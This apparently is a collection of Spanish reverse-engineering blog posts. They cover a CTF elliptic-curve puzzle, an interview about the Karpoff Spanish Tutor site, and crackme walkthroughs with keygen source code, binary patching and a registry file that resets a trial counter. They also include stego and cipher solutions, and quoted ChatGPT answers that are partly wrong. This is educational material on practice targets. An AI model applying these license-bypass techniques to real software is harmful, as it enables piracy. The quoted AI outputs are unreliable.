Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.
Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero positivo que representa cada fruta. La solución del reto es concatenar «Flag-» a la suma de los valores de las tres frutas.
Análisis inicial
El enunciado es breve pero ya nos adelanta que existen varias soluciones y que además sólo quieren los números más pequeños que podamos encontrar.
Las frutas están muy bien y son muy sanas pero a nosotros se nos hace más sencillo plantear la ecuación con letras.
Para arrojar algo de luz veamos la representación gráfica en 2D y 3D con la ayuda de Desmos.
Las gráficas más que luz nos traen oscuridad de modo que preguntemos a ChatGPT.
ChatGPT
resuelve: (x/y+z)+(y/x+z)+(z/x+y)=4 para enteros positivos
Dado que las variables x, y, z son enteros positivos, podemos intentar encontrar una solución para la ecuación bajo estas condiciones. Sin embargo, encontrar una solución exacta puede ser complejo debido a la naturaleza no lineal de la ecuación. Aun así, podemos intentar algunos enfoques:
Prueba y error: Podemos probar diferentes combinaciones de valores enteros positivos para x, y, z y ver si satisfacen la ecuación.
Análisis de casos específicos: Podemos comenzar analizando casos más simples, como cuando dos de las variables son iguales, y luego ampliar nuestra búsqueda desde allí.
Análisis gráfico o numérico: Utilizando herramientas gráficas o numéricas, podríamos identificar posibles soluciones y luego verificar si son enteros positivos.
Voy a realizar un análisis numérico con un rango limitado de valores para ver si encontramos alguna solución que cumpla con las condiciones. Vamos a probar con valores de 1 a 10 para cada variable.
El análisis numérico para valores de en el rango de 1 a 10 no ha encontrado ninguna solución que satisfaga la ecuación. Esto sugiere que, dentro de este rango, no existen combinaciones de enteros positivos que cumplan con la ecuación.
Dado que la ecuación es bastante compleja y no lineal, es posible que las soluciones, si existen, se encuentren fuera del rango considerado o que requieran un enfoque diferente para ser identificadas. Si tienes un rango específico de valores en mente o si hay alguna otra restricción o contexto relevante, por favor házmelo saber para poder ajustar el análisis en consecuencia.
Básicamente nos está invitando a utilizar prueba y error para encontrar una solución, y el prueba y error de las matemáticas no es más que la fuerza bruta en programación.
El código
Partiendo del problema anterior dame un código en python que realice una comprobación recursiva de todas las variables con un rango de 1 a 999.
soluciones = []
rango_valores_x = range(1, 999)
rango_valores_y = range(1, 999)
rango_valores_z = range(1, 999)
for x in rango_valores_x:
for y in rango_valores_y:
for z in rango_valores_z:
# Calculamos el valor de la expresión para cada combinación de x, y, z
valor = x / (y + z) + y / (x + z) + z / (x + y)
# Comprobamos si el valor es igual a 4 y agregamos la solución a la lista
if abs(valor - 4) < 1e-6: # Usamos una pequeña tolerancia para evitar errores de precisión
soluciones.append((x, y, z))
print(soluciones)
Dejo resaltada la línea 12 del código ya que en ella reside el problema. Está comprobando con un margen de tolerancia de 10-6 ya que el resultado de las diferentes fracciones no da como resultado exacto 4. Esto es un problema ya que nosotros necesitamos que de exactamente 4 para validar los valores enteros de x, y y z. Pongo un ejemplo para el que se haya perdido con una solución válida para la tolerancia 10-6 siendo x=2, y=264 y z=993.
En otras palabras, ChatGPT nos ha brindado una solución aproximada que no sirve para nuestro propósito. Seguimos probando con el código anterior quitando la tolerancia y con rangos mayores hasta que en 106 paro. Me acaba de quedar claro que con la fuerza bruta no vamos a ninguna parte, o más bien, no tenemos capacidad de computación para resolverlo de ésta manera.
¿Qué está pasando?
Lo que pasa es que estamos ante una ecuación algebraica de 3 incógnitas que deben ser enteros positivos cuya solución se alcanza mediante la teoría de curvas elípticas.
Curvas elípticas
Las curvas elípticas son fundamentales en matemáticas avanzadas, representadas por la ecuación y2=x3+Ax+B, donde A y B son constantes. Estas curvas son un punto de encuentro entre la geometría, la teoría de números y el álgebra, ofreciendo un campo rico para la exploración y el análisis. En este CTF, nos enfocaremos en los puntos racionales de las curvas elípticas. Utilizando el método tangente-secante, un procedimiento geométrico iterativo, buscaremos ampliar un conjunto finito de soluciones conocidas a la ecuación de la curva. Este método nos permite indagar en la estructura de las soluciones racionales, que potencialmente pueden ser infinitas. Además, estableceremos una conexión entre las soluciones enteras de las ecuaciones diofánticas y los puntos racionales en las curvas elípticas partiendo de la ecuación (1) especificada en el análisis inicial. A pesar de su aparente simplicidad, esta ecuación es conocida por presentar soluciones mínimas de gran tamaño.
Adecuación
Antes de nada, necesitamos saber el grado de la ecuación, de modo que planteamos la ecuación en forma polinómica estándar deshaciéndonos de los denominadores.
Ahora necesitamos expandir y simplificar para llegar a la conclusión de que estamos ante una ecuación diofántica de grado 3. Este proceso es engorroso por la cantidad de términos a manejar así que vamos a utilizar Mathematica como software de respaldo para finalmente obtener el polinomio en la forma de Weierstrass según la ecuación 4.
\begin{align}
& y^2=x^3+109x^2+224x\\
\end{align}
donde:
\begin{align}
x = \frac{−28(a+b+2c)}{(6a+6b−c)}\\
y = \frac{364(a−b)}{(6a+6b−c)}
\end{align}
Las relación entre la ecuación 3 y los puntos de la curva elíptica se establecen mediante la ecuación 4. Las transformaciones entre las soluciones (a, b, c) y los puntos (x, y) en la curva elíptica vienen dados por las ecuaciones 5 y 6. Con estas transformaciones, cada solución de la ecuación diofántica se puede representar como un punto en la curva elíptica, y las operaciones de suma de puntos en la curva elíptica pueden usarse para encontrar nuevas soluciones de la ecuación diofántica.
Mathematica
El código que tenéis a continuación pertenece al gran trabajo de Aditi Kulkarni [7], que además nos da el resultado para cualquier valor de n. Ojo porque para n=4 el resultado tiene 81 dígitos, para n=6 tiene 134, para n=10 tiene 190 y para n=12 asciende a 2707 dígitos.
(* Asignar un valor numérico a n *)
n = 4;
(* Definir la ecuación de una curva elíptica en términos de n *)
curve4 = y^2 == x^3 + (4*n^2 + 12*n - 3)*x^2 + 32*(n + 3)*x;
(* Encontrar un punto racional en la curva que no sea (4,0) *)
P4 = {x, y} /. First[FindInstance[curve4 && x != 4 && y != 0, {x, y}, Integers]];
(* Función para calcular la pendiente entre dos puntos en la curva,
o la derivada en el punto si son iguales *)
Slope4[{x1_, y1_}, {x2_, y2_}] :=
If[x1 == x2 && y1 == y2,
ImplicitD[curve4, y, x] /. {x -> x1, y -> y1},
(y2 - y1)/(x2 - x1)];
(* Función para calcular la intersección en y de la línea entre dos puntos
o la tangente en el punto si son iguales *)
Intercept4[{x1_, y1_}, {x2_, y2_}] := y1 - Slope4[{x1, y1}, {x2, y2}]*x1;
(* Función para encontrar el siguiente punto racional en la curva *)
nextRational4[{x1_, y1_}, {x2_, y2_}] :=
{Slope4[{x1, y1}, {x2, y2}]^2 - CoefficientList[curve4[[2]], x][[3]] - x1 - x2,
-Slope4[{x1, y1}, {x2, y2}]^3 + Slope4[{x1, y1}, {x2, y2}]*(CoefficientList[curve4[[2]], x][[3]] + x1 + x2) - Intercept4[{x1, y1}, {x2, y2}]};
(* Función para convertir un punto en la curva elíptica a una solución diofántica *)
ellipticToDiophantine[n_, {x_, y_}] :=
{(8*(n + 3) - x + y)/(2*(4 - x)*(n + 3)),
(8*(n + 3) - x - y)/(2*(4 - x)*(n + 3)),
(-4*(n + 3) - (n + 2)*x)/((4 - x)*(n + 3))};
(* Usar nextRational4 para iterar desde P4 hasta encontrar una solución
válida y positiva para la ecuación diofántica *)
sol4 = ellipticToDiophantine[n,
NestWhile[nextRational4[#, P4] &, P4,
! AllTrue[ellipticToDiophantine[n, #], Function[item, item > 0]] &]];
(* Escalar la solución para obtener enteros mínimos *)
MinSol4 = sol4*(LCM @@ Denominator[sol4])
(* Suma de las tres variables*)
Total[MinSol4]
Solución
Concatenando Flag- con el resultado de Mathematica tenemos la ansiada flag.
ChatGPT ha demostrado ser eficaz en el análisis y la resolución de problemas, siempre que se le proporcione el contexto adecuado. Sin embargo, es importante ser conscientes de que la respuesta proporcionada puede ser aproximada, especialmente si la solución requiere una gran cantidad de recursos computacionales. Por ejemplo, al trabajar con una ecuación diofántica y valores específicos para (x) e (y), ChatGPT puede ayudar a calcular puntos como (P), (2P), (3P), etc., pero hay que tener en cuenta que los resultados para estos puntos pueden ser estimaciones.
Finalmente, os invito a leer la solución de Mingliang Z. [4], en la que se resuelve el problema por completo y de forma muy detallada.
Hace unos días intenté contactar con Karpoff ya que fué una inspiración para mi y muchos otros, lo conseguí y se me ocurrió hacerle una entrevista, aquí tenéis el resultado.
Para los recién llegados diré que, Karpoff Spanish Tutor era (y sigue siendo aunque no se actualice), una gran web colaborativa donde encontrar cantidad de manuales y programas en Castellano.
deurus: ¿Qué te llevó a realizar la web?, es decir, que te hizo levantarte una mañana y decir, venga, voy a realizar una web sobre ingeniería inversa.
Karpoff: Pues mira, fue de la siguiente manera. Por aquel entonces (te hablo de los 90 y poco) yo pasaba mi tiempo libre intentando saltar las protecciones de los programas que conseguía generalmente en revistas de informática.
Desconocía que existía un mundillo dedicado a esas artes.
En los años 90 no había internet ni nada parecido que yo sepa, sobre el 95 creo recordar, telefónica saco una cosa que se llamaba Infobia y era una especie de intranet de telefónica donde accedías a un contenido muy limitado, pero te permitía salir de alguna manera bastante limitada también a lo que conocemos como internet (todo era mega lento, velocidades de uno o dos kb por segundo) con módem y llamadas analógicas.
No se como, ya que no existia o no era conocido Google tampoco había casi buscadores, conocí la famosa y maravillosa pagina de «Fravia» dedicada a la ingeniería inversa con muchísima documentación, y proyectos de estudio de protecciones, lamentablemente para el momento hispano, toda la documentación estaba en ingles .
Investigando conocí paginas hispanas con proyectos interesantes (aunque muchas de ellas aun siendo hispanas publicaban todo en ingles)
Conocí también otra pagina, el “ECD” estudio colectivo de desprotecciones + WTK en castellano e ingles que me sorprendió gratamente y donde se publicaban proyectos propios del grupo WTK y de otros grupos como estado+porcino.
los tres grupos hispanos del momento eran WTK, TNT y KUT, pertenecí a TNT durante algún tiempo, aunque el objetivo del grupo no me convencía ya que era exclusivamente la creación de cracks a mansalva por lo que no estuve más de un año.
Yo echaba de menos un sitio como “Fravia” pero en castellano donde todos los interesados pudiéramos colaborar y ayudarnos con temas de ingeniería inversa.
Ya en los 90 y mucho, todo lo relacionado con internet había evolucionado bastante, las conexiones también eran mas rápidas, ya no hacia falta conectarte a infobia sino directamente a internet.
Yo disponía de mucho tiempo libre y empecé un proyecto en solitario “Karpoff Spanish Tutor” mas conocido como “la pagina de karpoff” con proyectos de mi cosecha y con temas que me gustaban mucho, como la programación, los compiladores el software en general etc.
Luego todo lo demás fue llegando poco a poco, a la gente le gustaba y tenia muchísimas ganas de aprender y sobre todo de colaborar.
El proyecto alcanzo unos niveles impresionantes en cuanto a colaboración y recepción de material, había días que estaba mas de 14 horas actualizando la pagina y buscando nuevos servidores para alojarla, ya que me los cerraban casi semanalmente. Y la verdad.. cada vez me costaba mas tiempo mantener la pagina.
Luego gracias a Red Futura tuvimos un hostin de calidad y gratuito.
El proyecto era tan amplio que me fue imposible conciliar vida laboral y vida en internet todo esto empezaba a ser incompatible.
deurus: ¿Empezaste solo o erais un grupo de amiguetes?
Karpoff: Esta te la he contestado en la primera pregunta, vamos… que empecé yo solo.
deurus: ¿Echas de menos el proyecto?
Karpoff: Hoy en día no. Hace falta muchísimo tiempo libre y muchísima dedicación a nivel organizativo.
Echo de menos el movimiento que se creo y la actividad que alcanzo el movimiento cracking hispano. Salían grupos de cracker con nuevos proyectos y paginas hasta de debajo de las piedras 🙂 la ingenieria inversa se puso un poco de moda, conocí a gente muy interesante como Ricardo Narvaja, Numi_tor, Demian y muchas otras personas con muchos conocimientos.
Después de cerrar la pagina todo se quedo un poco cojo y todo el movimiento se empezó a diluir bastante rápido.
deurus: ¿Lo retomarías día de hoy?
Karpoff: La verdad es que no, ya no es mi tiempo, ahora me dedico al trabajo y mi familia y en ratos libres intento reventar algún programa. Sobre todo crackmes.
deurus: ¿Tienes o colaboras activamente en algún proyecto relacionado con la Ingeniería Inversa?
Karpoff: No, no tengo tiempo. Mantengo contacto por correo con gente de que conocí en esa época y me sorprende que la gente no se olvida de mí. Recibo bastante correo en esta cuenta pidiéndome alguna entrevistilla, opiniones y muchos muchos agradecimientos de mucha gente por la página.
deurus: Yo por aquel entonces tenía 17 años, ¿se le puede preguntar la edad a Karpoff?
Karpoff: Pues yo tengo 45, por aquel entonces tenia unos 29 . La ingeniería inversa siempre fue mi pasión. Desde bien pequeño mi obsesión ha sido conocer como y porque funcionaba todo 🙂 hasta el punto de desmontar todo aquello que me llamaba la atención, mi madre estaba desesperada ya que dejaba todo destripado y muchas veces sin posiblilidad de reparacion.
deurus: ¿Te dedicas a algo relacionado con la informática?
Karpoff: Si, desde esos tiempos me encargo de los sistemas informáticos y equipos técnicos de una empresa bastante conocida, además ese fue uno de los principales motivos del cierre de la página.
Hubo gente interesada en seguir con el proyecto, aunque finalmente todo quedó en nada. Supongo que vieron que el proyecto requería muchísimo tiempo y mucho mucho trabajo.
Me dio mucha lastima no poder seguir con la página y mucha más que nadie se hiciera cargo de ella.
No hace mucho al desaparecer los redireccionadores “come.to” adquirí un dominio “karpoff.es” donde enlace tres mirror de la página para dejar un punto de acceso a ellos.
deurus: Finalmente ¿quieres decir algo a los lectores?
Karpoff: Pues sí, sobre todo dar las gracias a los que me conocen y tuvieron relación con la página, siempre me han hecho sentir grande y siempre tuve mucha colaboración y muchos ánimos por parte de los lectores.
Para los que no me conocen y les gusta la ingeniería inversa, decirles que lo que se aprende crackeando no lo enseñan en ningún sitio 🙂 y es muy muy gratificante.
deurus: Muchas gracias por tu atención, ha sido un placer.
Karpoff: Muchas gracias a ti, me ha hecho mucha ilusión y me ha gustado mucho tu blog.
En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En esta ocasión vamos a hablar sobre un pequeño detalle de una serie actual, Absentia. No es un gazapo, pero es algo bastante poco creíble hoy día.
La escena la protagoniza Emily Byrne (Stana Katic) y en ella se ve a Emily buscar algo sospechoso en un portátil.
Primer detalle
En la primera imagen y antes de que Emily haga clic en Documents, se puede apreciar un acceso directo que reza Browser con un icono de la bola del mundo y una lupa. Muy chulo pero para darle más credibilidad a la escena se podía mostrar un acceso directo de Chrome, Firefox o Internet Explorer que son los navegadores más usados.
Where is my Browser?
Para rematar…
A lo que vamos. Emily decide mirar en la carpeta Documents > Videos y para su sorpresa está vacía. Pero como Emily es una mujer de recursos decide comprobar si hay archivos ocultos y para ello retoca las opciones de carpeta.
¡Tachán!, como por arte de magia aparecen todas las carpetas del supuesto asesino con todo tipo de vídeos incriminatorios. Como he comentado anteriormente, parece poco creíble pensar que algo que te puede llevar a la cárcel de por vida sea protegido de forma tan pobre.
Esta es la primera entrega de tres en las que vamos a ver tres crackmes que todo reverser debería hacer. Son la serie del autor Cruehead. Aunque los hice hace ya muchos años, he decidido documentarlos para que el lector que empieza pueda deleitarse. En este caso se trata del típico Nombre / Serial.
El algoritmo
El algoritmo de este crackme es lo más sencillo que nos podemos encontrar.
Abrimos el crackme con Olly y buscamos en las «string references» el mensaje de error. Pinchamos sobre el y en la parte superior enseguida vemos 2 calls muy interesantes.
Veamos que hace con el nombre.
Para «deurus» pondría todo en mayúsculas, sumaría su valor ascii y le haría XOR 0x5678.
Renombramos entonces la extensión a png y continuamos.
Imagen oculta
Esta parte la afrontaremos con Steganabara, una herramienta muy útil que siempre uso cuando me enfrento a un reto «stego». En esta ocasión utilizaremos el análisis de color. Para ello pulsamos sobre «Analyse > Color table«.
En la tabla de colores tenemos la descomposición de colores RGBA y su frecuencia de aparición. Ordenamos por frecuencia descendiente y hacemos doble clic sobre la fila para abrir la imagen resultante.
A continuación un resumen de las imágenes obtenidas.
Como podéis observar, la imagen oculta es un código QR. Lo escaneamos con nuestra app preferida y obtenemos un texto encriptado.
A partir de aquí el reto pasa a ser de encriptación. Con el tiempo diferenciareis fácilmente el tipo de cifrado con sólo ver el texto. En este caso lo primero que se nos ocurre es comprobar dos cifrados clásicos como son el cifrado César y el Vigenere.
Tras desestimar el cifrado César realizamos un ataque de «fuerza bruta» al cifrado Vigenere mediante análisis estadístico. En la imagen que muestro a continuación se puede ver que la clave está cerca de ser «HPHQTC» pero todavía no se lee correctamente.
Ya que la fuerza bruta de por sí no termina de darnos la respuesta correcta, pasamos a probar algo muy útil, esto es, descifrar por fuerza bruta pero dándole una palabra para comparar. En este caso en concreto vemos que una posible palabra que pudiera estar en el texto encriptado es «PASSWORD», probamos y reto terminado.
Hoy tenemos aquí un crackme hecho en Visual Basic 6 (pcode), pero lo vamos a abordar de una manera diferente, ya que, vamos a conseguir el código fuente mediante VB Decompiler, le vamos a hacer una serie de modificaciones para hacerlo funcional con la ayuda de ExDec, y a partir de eso vamos a generar nuestro propio keygen.
El funcionamiento del crackme es simple, tenemos una primera caja de texto «Code» que en función de lo que introduzcamos nos activa el botón «OK». Al pulsar el botón comprueba lo que tengamos en la caja de texto «Serial» para haber si está todo correcto.
Obteniendo el código fuente
Abrimos el crackme con VB Decompiler y vemos sus fauces.
Pinchando en cada parte obtenemos su respectivo código fuente.
El botón OK
Private Sub Command1_Click() '402F70
'Data Table: 402724
Dim ourserial As Variant
ourserial = CVar(Me.SERIAL.Text) 'String
If (ourserial = cript(Left$(Me.CODE.Text, &HA))) Then
MsgBox "Great", 0, ourserial
End
End If
Dim x As String
x = cript(Left$(Me.CODE.Text, &HA))
MsgBox "Not Completed - " & x, 0, ourserial
Me.CODE.Text = ""
Me.SERIAL.Text = ""
Exit Sub
End Sub
El evento KeyUp
Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer)
'Data Table: 402724
If (Len(Me.CODE.Text) > 4) Then
ourserialsum = checkcode(Me.CODE.Text)
If CBool((ourserialsum > 70) And (ourserialsum < 90)) Then
Me.Command1.Enabled = True
End If
End If
Exit Sub
End Sub
La función cript
Public Function cript(a)
'Data Table: 402724
Dim var_9C As Long
var_98 = CStr(UCase(a))
For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C 'Variant
var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2))
Next var_10C 'Variant
For var_160 = 1 To 100: var_140 = var_160
If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then
GoTo loc_4030C0
End If
Next var_160
loc_4030C0:
var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16))
var_94 = Hex(var_9C) 'Variant
cript = var_94
End Function
La función checkcode
Public Function checkcode(a)
For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4
var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1))))
Next var_F4
var_94 = Int(((var_128 / CVar(Len(a) / CVar(Len(a)))))
checkcode = var_94
End Function
La rutina de comprobación del serial
Se compone de dos partes, el código y el serial.
El código
Si el resultado de la función checkcode está entre70 y 90 nos activa el botón OK.
El serial
Lo genera la función cript en función del código anterior.
Arreglando el código fuente
Con lo obtenido anteriormente podemos entender perfectamente el comportamiento de la comprobación del serial pero si los cargamos en Visual Basic 6 y lo intentamos ejecutar tal cual nos dará una serie de errores. Es aquí cuando entra ExDec, ya que, nos proporciona el desensamblado del programa en forma de Opcode para poder comparar con el código obtenido.
En este caso el único problema se encuentra en la función checkcode en concreto en ésta línea:
El problema está en que divide dos veces entre el número de dígitos de a, si lo analizamos vemos que es imposible ya que nunca nos daría un código entre 70 y 90. La corrección queda así:
var_94 = Int(((var_128 / CVar(Len(a)))))
El KeyGen
Finalmente el código fuente de nuestro keygen quedaría así:
Private Sub Command1_Click() 'Generate CODE
Dim CODE As String
Dim var As Integer
Randomize
var = CLng((0 - 9999) * Rnd + 9999)
Me.CODE.Text = "deurus" & var
codesum = checkcode(Me.CODE.Text)
If CBool((codesum > 70) And (codesum < 90)) Then
lbl.Caption = "Code valid, now generate a serial"
Command2.Enabled = True
Else
Command2.Enabled = False
Command1_Click
End If
End Sub
Private Sub Command2_Click() 'Generate SERIAL
If (Len(Me.CODE.Text) > 4) Then
codesum = checkcode(Me.CODE.Text)
If CBool((codesum > 70) And (codesum < 90)) Then
SERIAL.Text = cript(Left$(Me.CODE.Text, 10))
Else
lbl.Caption = "Code not valid, first gen code"
End If
End If
End Sub
Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer)
If (Len(Me.CODE.Text) > 4) Then
var_B0 = checkcode(Me.CODE.Text)
lbl.Caption = "Value must be between 70 - 90. Yours: " & var_B0
If CBool((var_B0 > 70) And (var_B0 < 90)) Then
lbl.Caption = "Code valid, now generate a serial"
Command2.Enabled = True
Else
Command2.Enabled = False
End If
End If
Exit Sub
End Sub
Public Function cript(a)
Dim var_9C As Long
var_98 = CStr(UCase(a))
For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C
var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2))
Next var_10C
For var_160 = 1 To 100: var_140 = var_160
If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then
GoTo loc_4030C0
End If
Next var_160
loc_4030C0:
var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16))
var_94 = Hex(var_9C)
cript = var_94
End Function
Public Function checkcode(a)
For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4
'Suma el valor ascii de todos los caracteres / Add the ascii value of our code
var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1))))
Next var_F4
'Lo divide entre la longitud del code / Divide our codesum by code lenght
var_94 = Int(((var_128 / CVar(Len(a))))) 'corrección
checkcode = var_94
End Function
En crackmes.de podéis conseguir el crackme y el keygen.
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
En los retos de esteganografía ya uno se espera de todo, y cuantos más haces más enrevesados encuentras. Hoy no, hoy vamos a tratar un clásico dentro de este tipo de retos, ocultar un archivo dentro de otro.
Buscando la solución
Prácticamente lo primero que hago cuando me descargo una imágen en éste tipo de retos es abrirla con un editor hexadecimal, y en este caso hemos dado en el clavo. La abrimos con un editor cualquiera y al final del archivo encontramos que estamos tratando con un archivo ZIP (cabecera PK).
La abrimos con 7zip y vemos el prometido archivo txt, dentro ¿qué abrá?
Esta vez vamos a analizar los CrackMes de un antiguo colaborador de Karpoff Spanish Tutor, CrkViZ. En estas cinco soluciones vamos a pelearnos con Visual Basic 5/6 nativo y Pcode, con el registro de Windows y tendremos que parchear algúna rutina antidebug. Los CrackMes son del año 2000 y aunque algunos estaban ya solucionados, los analizaremos igualmente para ver la diferencia que existe con los análisis realizados en aquellos años, sí, estamos hablando del Softice.
Herramientas disponibles
Cuando hablamos de Visual Basic 5/6, podemos destacar 3 herramientas que nos facilitan mucho la vida, VB Decompiler, VB Reformer y ExDec. Las dos primeras se defienden bien tanto con código nativo como pcode y ExDec solamente nos sirve para pcode. Aún así, si todo lo demás falla, Ollydbg nos sacará de apuros.
CrkViz-1
Este primer crackme está compilado en Pcode y hoy día, con las herramientas de que disponemos no supone ninguna dificultad. Tan solo debemos abrirlo con VB Decompiler y ya nos encontramos con el serial válido.
Los opcodes obtenidos con ExDec se ven de la siguiente manera.
Este segundo crackme también está compilado en pcode. La rutina del serial es muy sencilla pero al introducir un número aleatorio nos obliga a parchear. Cargamos el crackme en VB Decompiler y nos muestra esto:
Básicamente vemos que genera un número aleatorio entre 1 y 999999999 y luego le suma 1. La forma de afrontar esto es parcheando. Nos fijamos en el offset aproximado (4037F2) y abrimos el crackme en un editor hexadecimal. La forma de convertir el offset que nos muestra VB Decompiler a lo que nos muestra un editor hexadecimal es la siguiente.
Una vez localizados los bytes, los cambiamos por ceros y guardamos.
Una vez parcheado, el serial correcto es 1.
CrkViz-3
En esta tercera entrega, CrkViz aumentó la dificultad. El crackme está compilado en código nativo y nos enfrentamos a un serial asociado a un nombre y a una rutina antidebug que en realidad es una Nag, ya que se muestra siempre.
Afrontar la nag es muy sencillo, basta con localizarla y parchear la llamada.
Reconstruyendo la llamada al registro vemos que lee de esta ruta: HKEY_CURRENT_USER\Software\VB and VBA Program Settings\CrkMeViz3\Register el contenido de User Name y del Serial number.
Quizá uno de los fallos de éste crackme, es que no comprueba la autenticidad de estos parámetros y si los modificas parece que estás registrado. Un ejemplo:
La rutina de comprobación del serial no es para nada complicada pero recordemos que estamos tratando con VB y éste delega el trabajo duro en otras librerias de modo que tenemos que «meternos» a tracear las llamadas para ver los valores que multiplica y divide.
Al estar correctamente registrados desaparece el botón de registrar.
CrkViz-4
El cuarto crackme es prácticamente igual que el tercero salvo que en vez de nag ahora contamos con limitación de ejecuciones. Del mismo modo utiliza el registro de Windows para guardar los datos de registro y las ejecuciones que llevamos.
Ponemos un breakpoint «bp RegOpenKeyW» y llegamos a la conclusión de que la ruta es HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC\Register y los valores se guardan en Counter, User Name y Serial number respectivamente. Este crackme hereda el fallo del anterior y si alteramos los valores el crackme nos muestra como usuarios autorizados, aunque sabemos que no estamos registrados ya que seguimos limitados por ejecuciones. Ni que decir tiene que lo mismo que modificamos el nombre y número de serie, podemos modificar el contador a nuestro favor. Crear un archivo «Reiniciar_contador.reg» con el siguiente contenido sería suficiente.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC]
[HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC\Register]
"Counter"="0"
"User Name"="deurus"
"Serial number"="12345"
El keygen es prácticamente igual que en el crackme anterior, solo cambia el divisor.
Este último crackme está compilado en código nativo y simplemente se trata de una comparación lineal. La única diferencia reside en que no hay botón de registro, la comprobación la gestiona un evento «On Change«, de modo que está comprobando el tamaño del serial que introducimos y cuando éste tiene 8 dígitos llegamos aquí.
¿Ha sido indoloro no?, claro que sí, Visual Basic es un coñazo de tracear pero hay que reconocer que con el tiempo las herramientas han mejorado mucho y nuestra vida es mucho más sencilla. Bueno, pués esto ha sido todo, como siempre os dejo todo el material utilizado y un Keygen.
Hemos interceptado un mensaje secreto, pero ninguno de nuestros traductores lo sabe interpretar, ¿sabrías interpretarlo tú? Lo único que hemos encontrado es esto en un foro: шжзклмнпфъ = 1234567890
Parece que el mensaje secreto está encriptado utilizando un alfabeto cifrado que corresponde a números. Según la clave proporcionada (шжзклмнпфъ = 1234567890), cada letra del alfabeto cirílico se sustituye por un número.
Primero, descompondremos la clave dada: ш = 1 ж = 2 з = 3 к = 4 л = 5 м = 6 н = 7 п = 8 ф = 9 ъ = 0
Este parece ser un mensaje cifrado en números. La secuencia de números se puede interpretar de varias maneras (como ASCII, coordenadas, etc.). Si asumimos que es un texto codificado en ASCII:
Convertimos cada número a su correspondiente carácter ASCII:
72 = H 97 = a 99 = c 107 = k 79 = O 110 = n 123 = { 69 = E 108 = l 95 = _ 84 = T 101 = e 116 = t 114 = r 105 = i 115 = s 95 = _ 101 = e 115 = s 95 = _ 117 = u 110 = n 95 = _ 106 = j 117 = u 101 = e 130 = ? 111 = o 95 = _ 82 = R 117 = u 115 = s 111 = o 125 = }
Juntando todo:
HackOn{El_Tetris_e_s_u_n_j_u_e?o_Ruso}
La parte «{El_Tetris_e_s_u_n_j_u_e?o_Ruso}» parece un mensaje en español. Probablemente deba ser leído como: HackOn{El_Tetris_es_un_juego_Ruso}
Así, el mensaje secreto es: HackOn{El_Tetris_es_un_juego_Ruso}.
La imagen de portada de la entrada ha sido generada con ChatGPT.
Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro keygen. Como comprobareis si no se ofusca o se toman otro tipo de medidas recuperar información sensible es muy sencillo.
AutoIt es un lenguajefreeware multiproposito y de automatización para Microsoft Windows. Es un Visual Basic Killer, ya que mejora las características de los ejecutables (entre otras portabilidad, velocidad y peso, no fat-coding), y facilitan la programación con un buen repertorio de funciones «pre-diseñadas», y usando un Basic de fácil aprendizaje. Se ha expandido desde sus comienzos de automatización incluyendo muchas mejoras en el diseño del lenguaje de programación y sobre todo en nuevas funcionalidades.
El Script
Func CHECKKEY($USER, $PASS)
Local $OPKEY = "", $SIG = ""
Local $USER_LEN = StringLen($USER)
Local $PASS_LEN = StringLen($PASS)
If $USER_LEN < $PASS_LEN Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
ElseIf $USER_LEN < 4 Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
EndIf
$PASS_INT = Int($USER_LEN / $PASS_LEN)
$PASS_MOD = Mod($USER_LEN, $PASS_LEN)
$OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
For $INDEX = 1 To $USER_LEN
$SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
Next
If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
MsgBox(0, "INFO", "Your key was registered.")
Exit
Else
MsgBox(0, "INFO", "Your key is invalid.")
EndIf
EndFunc
El Algoritmo
El algoritmo es tremendamente sencillo ya que es nuestro nombre al revés y en mayúsculas.
Modificando el script para generar nuestro propio keygen
El decompilador se llama myAut2exe y tiene este aspecto.
Programar en AutoIt es muy sencillo e intuitivo. Nuestro keygen quedaría así.
$MAIN = GUICreate("Another keygen by deurus", 300, 80, -1, -1, 382205952, 385)
$NAME_LBL = GUICtrlCreateLabel("Username", 5, 5, 60, 20, BitOR(4096, 1))
$NAME_INP = GUICtrlCreateInput("", 70, 5, 225, 20, 1)
